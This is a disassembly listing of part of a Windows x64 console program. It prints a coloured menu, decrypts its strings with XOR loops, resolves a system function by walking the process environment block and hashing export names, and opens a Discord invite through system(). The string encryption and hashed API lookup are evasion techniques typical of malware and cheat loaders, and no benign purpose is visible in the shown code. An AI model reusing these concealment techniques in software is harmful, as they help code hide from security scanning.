mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov edx, 7
mov rcx, qword [rbp + 0x40]
call qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
movups xmm0, xmmword [0x140083da8]
movups xmmword [rbp], xmm0
movsd xmm0, qword [0x140083db8]
movsd qword [rbp + 0x10], xmm0
mov eax, dword [0x140083dc0]
mov dword [rbp + 0x18], eax
movzx eax, byte [0x140083dc4]
mov byte [rbp + 0x1c], al
xor r8d, r8d
cmp r13d, 2
jl 0x140006d17
movdqa xmm5, xmmword [0x14008c670]
movdqa xmm4, xmmword [0x14008c6c0]
mov eax, 4
movd xmm6, eax
movdqa xmm7, xmmword [0x14008c690]
mov eax, Ordinal_32
movd xmm8, eax
movdqa xmm0, xmmword [str.9999999999999999O]
movdqa xmmword [rsp + 0x50], xmm0
lea rcx, [rbp + 4]
mov edx, dword [rsp + 0x50]
nop dword [rax]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x14008c6a0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
pxor xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x14008c6a0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
pxor xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x18
jl 0x140006c10
cmp r8d, 0x1d
jge 0x140006d60
movsxd rax, r8d
lea r9, [rbp]
add r9, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
sub al, cl
add al, 0x39
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x1d
jl 0x140006d30
lea rdx, [rbp]
lea rcx, [rbp + 0x20]
call fcn.1400030b0
nop
xor ebx, ebx
mov rsi, qword [rbp + 0x38]
mov rdi, qword [rbp + 0x20]
mov r15, qword [rbp + 0x30]
test r15, r15
je 0x140006dbf
nop dword [rax]
nop word [rax + rax]
lea rax, [rbp + 0x20]
cmp rsi, 0x10
cmovae rax, rdi
movzx edx, byte [rax + rbx]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.14000bd50
mov ecx, reloc.WS2_32.dll_sendto
call qword [sym.imp.KERNEL32.dll_Sleep]
inc rbx
cmp rbx, r15
jne 0x140006d90
cmp rsi, 0x10
jb 0x140006df6
lea rdx, [rsi + 1]
mov rax, rdi
cmp rdx, 0x1000
jb 0x140006dee
add rdx, 0x27
mov rdi, qword [rdi - 8]
sub rax, rdi
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000b539
mov rcx, rdi
call fcn.14006ed14
lea rdx, [0x140082b08]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.14000bf10
lea rdx, [0x14000c3b0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov edx, 5
mov rcx, qword [rbp + 0x40]
call qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
lea rdx, str.______________________________________
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.14000bf10
lea rdx, [0x14000c3b0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov edx, 7
mov rcx, qword [rbp + 0x40]
call qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
movups xmm0, xmmword [0x140083df0]
movups xmmword [rbp], xmm0
mov eax, dword [0x140083e00]
mov dword [rbp + 0x10], eax
movzx eax, byte [0x140083e04]
mov byte [rbp + 0x14], al
xor r15d, r15d
mov r8d, r15d
cmp r13d, 2
jl 0x140006fd7
movdqa xmm5, xmmword [0x14008c670]
movdqa xmm4, xmmword [0x14008c6c0]
mov eax, 4
movd xmm6, eax
movdqa xmm7, xmmword [0x14008c690]
mov eax, Ordinal_32
movd xmm8, eax
movdqa xmm0, xmmword [str.9999999999999999O]
movdqa xmmword [rsp + 0x50], xmm0
lea rcx, [rbp + 4]
mov edx, dword [rsp + 0x50]
nop dword [rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x14008c6a0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
pxor xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x14008c6a0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
pxor xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x10
jl 0x140006ed0
cmp r8d, 0x15
jge 0x140007020
movsxd rax, r8d
lea r9, [rbp]
add r9, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
sub al, cl
add al, 0x39
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x15
jl 0x140006ff0
xorps xmm0, xmm0
movups xmmword [rbp + 0x20], xmm0
mov qword [rbp + 0x30], r15
mov qword [rbp + 0x38], r15
lea rax, [rbp]
mov rbx, 0xffffffffffffffff
nop word [rax + rax]
inc rbx
cmp byte [rax + rbx], r15b
jne 0x140007040
movabs rax, 0x7fffffffffffffff
cmp rbx, rax
ja 0x14000b546
mov qword [rbp + 0x38], reloc.WS2_32.dll_ntohs
cmp rbx, 0x10
jae 0x140007094
mov qword [rbp + 0x30], rbx
mov r8, rbx
lea rdx, [rbp]
lea rcx, [rbp + 0x20]
call sub.VCRUNTIME140.dll_memcpy
mov byte [rbp + rbx + 0x20], r15b
mov rdi, qword [rbp + 0x38]
mov rbx, qword [rbp + 0x30]
mov rsi, qword [rbp + 0x20]
jmp 0x14000713f
mov rdi, rbx
or rdi, 0xf
cmp rdi, rax
jbe 0x1400070ba
mov rdi, rax
movabs rax, 0x8000000000000000
add rax, 0x27
jmp 0x1400070e5
cmp rdi, 0x16
mov eax, reloc.WLDAP32.dll_Ordinal_22
cmovb rdi, rax
lea rcx, [rdi + 1]
cmp rcx, 0x1000
jb 0x140007107
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x14000b540
mov rcx, rax
call fcn.14006e9b8
test rax, rax
je 0x14000b539
lea rsi, [rax + 0x27]
and rsi, 0xffffffffffffffe0
mov qword [rsi - 8], rax
jmp 0x140007120
test rcx, rcx
je 0x14000711d
call fcn.14006e9b8
mov rsi, rax
jmp 0x140007120
mov rsi, r15
mov qword [rbp + 0x20], rsi
mov qword [rbp + 0x30], rbx
mov qword [rbp + 0x38], rdi
mov r8, rbx
lea rdx, [rbp]
mov rcx, rsi
call sub.VCRUNTIME140.dll_memcpy
mov byte [rsi + rbx], r15b
test rbx, rbx
je 0x140007174
lea rax, [rbp + 0x20]
cmp rdi, 0x10
cmovae rax, rsi
movzx edx, byte [rax + r15]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.14000bd50
mov ecx, reloc.WS2_32.dll_sendto
call qword [sym.imp.KERNEL32.dll_Sleep]
inc r15
cmp r15, rbx
jne 0x140007144
cmp rdi, 0x10
jb 0x1400071af
lea rdx, [rdi + 1]
mov rax, rsi
cmp rdx, 0x1000
jb 0x1400071a7
add rdx, 0x27
mov rsi, qword [rsi - 8]
sub rax, rsi
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000b539
mov rcx, rsi
call fcn.14006ed14
mov edx, 5
mov rcx, qword [rbp + 0x40]
call qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
lea rdx, str.
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.14000bf10
lea rdx, [0x14000c3b0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rdx, str.______________________________________
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.14000bf10
lea rdx, [0x14000c3b0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rdx, str.
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.14000bf10
lea rdx, [0x14000c3b0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov rdi, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rax, [rsp + 0x60]
mov qword [rsp + 0x50], rax
lea rdx, [0x1400822a0]
lea rcx, [rsp + 0x60]
call fcn.1400030b0
mov rbx, rax
lea rdx, str._n___
lea rcx, [rbp - 0x20]
call fcn.1400030b0
nop
mov r8, rbx
mov rdx, rax
lea rcx, [rbp - 0x70]
call fcn.14000ca60
nop
lea rax, [rbp - 0x70]
mov qword [rbp + 0x460], rax
lea rax, [rbp - 0x48]
mov qword [rbp + 0x468], rax
lea rdx, [rbp + 0x460]
lea rcx, [rbp + 0x470]
call fcn.14000c850
or r14d, 4
mov dword [rsp + 0x40], r14d
lea r9, [fcn.140002200]
mov edx, Ordinal_41
lea r8d, [rdx - 0x27]
lea rcx, [rbp - 0x70]
call fcn.14006e9f4
lea rdx, [rbp + 0x470]
mov rcx, rdi
call fcn.14000c0e0
and r14d, 0xfffffffb
mov dword [rsp + 0x40], r14d
lea rcx, [rbp + 0x470]
call fcn.14000b560
mov rdi, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rax, [rsp + 0x60]
mov qword [rsp + 0x50], rax
lea rdx, [0x140082248]
lea rcx, [rsp + 0x60]
call fcn.1400030b0
mov rbx, rax
lea rdx, [0x140082560]
lea rcx, [rbp - 0x20]
call fcn.1400030b0
nop
mov r8, rbx
mov rdx, rax
lea rcx, [rbp - 0x70]
call fcn.14000ca60
nop
lea rax, [rbp - 0x70]
mov qword [rbp + 0x480], rax
lea rax, [rbp - 0x48]
mov qword [rbp + 0x488], rax
lea rdx, [rbp + 0x480]
lea rcx, [rbp + 0x490]
call fcn.14000c850
or r14d, 2
mov dword [rsp + 0x40], r14d
lea r9, [fcn.140002200]
mov edx, Ordinal_41
lea r8d, [rdx - 0x27]
lea rcx, [rbp - 0x70]
call fcn.14006e9f4
lea rdx, [rbp + 0x490]
mov rcx, rdi
call fcn.14000c0e0
and r14d, 0xfffffffd
mov dword [rsp + 0x40], r14d
lea rcx, [rbp + 0x490]
call fcn.14000b560
mov rdi, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rax, [rsp + 0x60]
mov qword [rsp + 0x50], rax
lea rdx, [0x1400822a0]
lea rcx, [rsp + 0x60]
call fcn.1400030b0
mov rbx, rax
lea rdx, [0x140082564]
lea rcx, [rbp - 0x20]
call fcn.1400030b0
nop
mov r8, rbx
mov rdx, rax
lea rcx, [rbp - 0x70]
call fcn.14000ca60
nop
lea rax, [rbp - 0x70]
mov qword [rbp + 0x4a0], rax
lea rax, [rbp - 0x48]
mov qword [rbp + 0x4a8], rax
lea rdx, [rbp + 0x4a0]
lea rcx, [rbp + 0x4b0]
call fcn.14000c850
or r14d, 1
mov dword [rsp + 0x40], r14d
lea r9, [fcn.140002200]
mov edx, Ordinal_41
lea r8d, [rdx - 0x27]
lea rcx, [rbp - 0x70]
call fcn.14006e9f4
lea rdx, [rbp + 0x4b0]
mov rcx, rdi
call fcn.14000c0e0
and r14d, 0xfffffffe
mov dword [rsp + 0x40], r14d
lea rcx, [rbp + 0x4b0]
call fcn.14000b560
movsd xmm0, qword [0x140083eb0]
movsd qword [rbp + 0x48], xmm0
mov eax, dword [0x140083eb8]
mov dword [rbp + 0x50], eax
movzx eax, word [0x140083ebc]
mov word [rbp + 0x54], ax
movzx eax, byte [0x140083ebe]
mov byte [rbp + 0x56], al
xor r8d, r8d
cmp r13d, 2
jl 0x14000758f
movdqa xmm4, xmmword [0x14008c6c0]
mov eax, 4
movd xmm6, eax
mov eax, Ordinal_32
movd xmm5, eax
movdqa xmm2, xmmword [0x14008c670]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x14008c690]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x14008c6a0]
packuswb xmm2, xmm2
mov eax, dword [str.9999999999999999O]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [0x140083eb0]
pxor xmm2, xmm0
movd dword [rbp + 0x48], xmm2
movdqa xmm3, xmmword [0x14008c680]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x14008c690]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x14008c6a0]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x4c]
pxor xmm2, xmm1
movd dword [rbp + 0x4c], xmm2
mov r8d, 8
movsxd rax, r8d
lea r9, [rbp + 0x48]
add r9, rax
nop dword [rax]
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
sub al, cl
add al, 0x39
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xf
jl 0x1400075a0
lea rdx, [rbp + 0x48]
lea rcx, [rbp]
call fcn.1400030b0
nop
xor ebx, ebx
mov rsi, qword [rbp + 0x18]
mov rdi, qword [rbp]
mov r15, qword [rbp + 0x10]
test r15, r15
je 0x14000762f
nop dword [rax]
nop word [rax + rax]
lea rax, [rbp]
cmp rsi, 0x10
cmovae rax, rdi
movzx edx, byte [rax + rbx]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.14000bd50
mov ecx, reloc.WS2_32.dll_sendto
call qword [sym.imp.KERNEL32.dll_Sleep]
inc rbx
cmp rbx, r15
jne 0x140007600
cmp rsi, 0x10
jb 0x14000766a
lea rdx, [rsi + 1]
mov rax, rdi
cmp rdx, 0x1000
jb 0x140007662
add rdx, 0x27
mov rdi, qword [rdi - 8]
sub rax, rdi
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000b539
mov rcx, rdi
call fcn.14006ed14
lea rdx, [rbp + 0x790]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_istream_char__struct_std::char_traits_char___std::cin]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_istream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_istream_char__struct_std::char_traits_char__::operator___int____ptr64____ptr64]
mov ecx, dword [rbp + 0x790]
sub ecx, 1
je 0x14000a5a6
sub ecx, 1
je 0x140009b77
sub ecx, 1
je 0x14000911a
sub ecx, 1
je 0x140007ce4
cmp ecx, 1
jne 0x14000b4f8
lea rcx, [0x140082b64]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
nop
lea rax, [rsp + 0x60]
mov qword [rsp + 0x50], rax
lea rdx, [0x1400822a0]
lea rcx, [rsp + 0x60]
call fcn.1400030b0
mov rbx, rax
lea rdx, str._______________________________________________
lea rcx, [rbp - 0x20]
call fcn.1400030b0
nop
mov r8, rbx
mov rdx, rax
lea rcx, [rbp - 0x70]
call fcn.14000ca60
nop
lea rax, [rbp - 0x70]
mov qword [rbp + 0x4c0], rax
lea rax, [rbp - 0x48]
mov qword [rbp + 0x4c8], rax
lea rdx, [rbp + 0x4c0]
lea rcx, [rbp + 0x760]
call fcn.14000c850
bts r14d, 0x17
mov dword [rsp + 0x40], r14d
lea r9, [fcn.140002200]
mov edx, Ordinal_41
lea r8d, [rdx - 0x27]
lea rcx, [rbp - 0x70]
call fcn.14006e9f4
btr r14d, 0x17
mov dword [rsp + 0x40], r14d
lea rcx, [rbp + 0x760]
call fcn.14000b560
lea rdx, str._______________________________________________________________________________________________________________________________n______________.________________________n____________________________________n______________________________n______________Y_______________n_______________________________n____________________________________n
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.14000bf10
mov rcx, rax
mov dl, 0xa
call fcn.14000bd50
mov rdi, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rax, [rsp + 0x60]
mov qword [rsp + 0x50], rax
lea rdx, [0x1400822a0]
lea rcx, [rsp + 0x60]
call fcn.1400030b0
mov rbx, rax
lea rdx, str._n_n_n___
lea rcx, [rbp - 0x20]
call fcn.1400030b0
nop
mov r8, rbx
mov rdx, rax
lea rcx, [rbp - 0x70]
call fcn.14000ca60
nop
lea rax, [rbp - 0x70]
mov qword [rbp + 0x4d0], rax
lea rax, [rbp - 0x48]
mov qword [rbp + 0x4d8], rax
lea rdx, [rbp + 0x4d0]
lea rcx, [rbp + 0x4e0]
call fcn.14000c850
bts r14d, 0x18
mov dword [rsp + 0x40], r14d
lea r9, [fcn.140002200]
mov edx, Ordinal_41
lea r8d, [rdx - 0x27]
lea rcx, [rbp - 0x70]
call fcn.14006e9f4
lea rdx, [rbp + 0x4e0]
mov rcx, rdi
call fcn.14000c0e0
btr r14d, 0x18
mov dword [rsp + 0x40], r14d
lea rcx, [rbp + 0x4e0]
call fcn.14000b560
mov rdi, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rax, [rsp + 0x60]
mov qword [rsp + 0x50], rax
lea rdx, [0x140082248]
lea rcx, [rsp + 0x60]
call fcn.1400030b0
mov rbx, rax
lea rdx, [0x140083384]
lea rcx, [rbp - 0x20]
call fcn.1400030b0
nop
mov r8, rbx
mov rdx, rax
lea rcx, [rbp - 0x70]
call fcn.14000ca60
nop
lea rax, [rbp - 0x70]
mov qword [rbp + 0x4f0], rax
lea rax, [rbp - 0x48]
mov qword [rbp + 0x4f8], rax
lea rdx, [rbp + 0x4f0]
lea rcx, [rbp + 0x500]
call fcn.14000c850
bts r14d, 0x19
mov dword [rsp + 0x40], r14d
lea r9, [fcn.140002200]
mov edx, Ordinal_41
lea r8d, [rdx - 0x27]
lea rcx, [rbp - 0x70]
call fcn.14006e9f4
lea rdx, [rbp + 0x500]
mov rcx, rdi
call fcn.14000c0e0
btr r14d, 0x19
mov dword [rsp + 0x40], r14d
lea rcx, [rbp + 0x500]
call fcn.14000b560
mov rdi, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rax, [rsp + 0x60]
mov qword [rsp + 0x50], rax
lea rdx, [0x1400822a0]
lea rcx, [rsp + 0x60]
call fcn.1400030b0
mov rbx, rax
lea rdx, [0x140082564]
lea rcx, [rbp - 0x20]
call fcn.1400030b0
nop
mov r8, rbx
mov rdx, rax
lea rcx, [rbp - 0x70]
call fcn.14000ca60
nop
lea rax, [rbp - 0x70]
mov qword [rbp + 0x510], rax
lea rax, [rbp - 0x48]
mov qword [rbp + 0x518], rax
lea rdx, [rbp + 0x510]
lea rcx, [rbp + 0x520]
call fcn.14000c850
bts r14d, 0x1a
mov dword [rsp + 0x40], r14d
lea r9, [fcn.140002200]
mov edx, Ordinal_41
lea r8d, [rdx - 0x27]
lea rcx, [rbp - 0x70]
call fcn.14006e9f4
lea rdx, [rbp + 0x520]
mov rcx, rdi
call fcn.14000c0e0
btr r14d, 0x1a
mov dword [rsp + 0x40], r14d
lea rcx, [rbp + 0x520]
call fcn.14000b560
movups xmm0, xmmword [str.sURRTPX_]
movups xmmword [rbp], xmm0
mov eax, dword [0x140083d88]
mov dword [rbp + 0x10], eax
movzx eax, byte [0x140083d8c]
mov byte [rbp + 0x14], al
xor r8d, r8d
lea r15d, [r8 + 4]
cmp r13d, 2
jl 0x140007b17
movdqa xmm5, xmmword [0x14008c670]
movdqa xmm4, xmmword [0x14008c6c0]
movd xmm6, r15d
movdqa xmm7, xmmword [0x14008c690]
mov eax, Ordinal_32
movd xmm8, eax
movdqa xmm0, xmmword [str.9999999999999999O]
movdqa xmmword [rsp + 0x50], xmm0
lea rcx, [rbp + 4]
mov edx, dword [rsp + 0x50]
nop
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x14008c6a0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
pxor xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x14008c6a0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
pxor xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x10
jl 0x140007a10
cmp r8d, 0x15
jge 0x140007b60
movsxd rax, r8d
lea r9, [rbp]
add r9, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
sub al, cl
add al, 0x39
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x15
jl 0x140007b30
lea rdx, [rbp]
lea rcx, [rbp + 0x20]
call fcn.1400030b0
nop
xor ebx, ebx
mov rsi, qword [rbp + 0x38]
mov rdi, qword [rbp + 0x20]
mov r14, qword [rbp + 0x30]
test r14, r14
je 0x140007bbf
nop dword [rax]
nop word [rax + rax]
lea rax, [rbp + 0x20]
cmp rsi, 0x10
cmovae rax, rdi
movzx edx, byte [rax + rbx]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.14000bd50
mov ecx, reloc.WS2_32.dll_sendto
call qword [sym.imp.KERNEL32.dll_Sleep]
inc rbx
cmp rbx, r14
jne 0x140007b90
cmp rsi, 0x10
jb 0x140007bfe
lea rdx, [rsi + 1]
mov rax, rdi
cmp rdx, 0x1000
jb 0x140007bf6
add rdx, 0x27
mov rdi, qword [rdi - 8]
sub rax, rdi
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000b539
mov rcx, rdi
call fcn.14006ed14
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x140007c9a
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x140007c9a
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [rbx + r9*4]
mov edx, dword [rcx + r10]
add rdx, r10
mov r8d, 0xf1ab0a9c
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140007c95
nop dword [rax]
nop word [rax + rax]
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x140007c70
cmp r8d, 0xc9c51df
je 0x140007ca2
test r9d, r9d
jne 0x140007c40
mov rax, qword [rax]
jmp 0x140007c10
mov ecx, dword [rdi + 0x24]
add rcx, r10
movzx edx, word [rcx + r9*2]
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rcx + rdx*4]
add rax, r10
mov ecx, 0x9c4
call rax
lea rcx, str.start_https:__discord.gg_4sNTkbcE
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [0x140082b64]
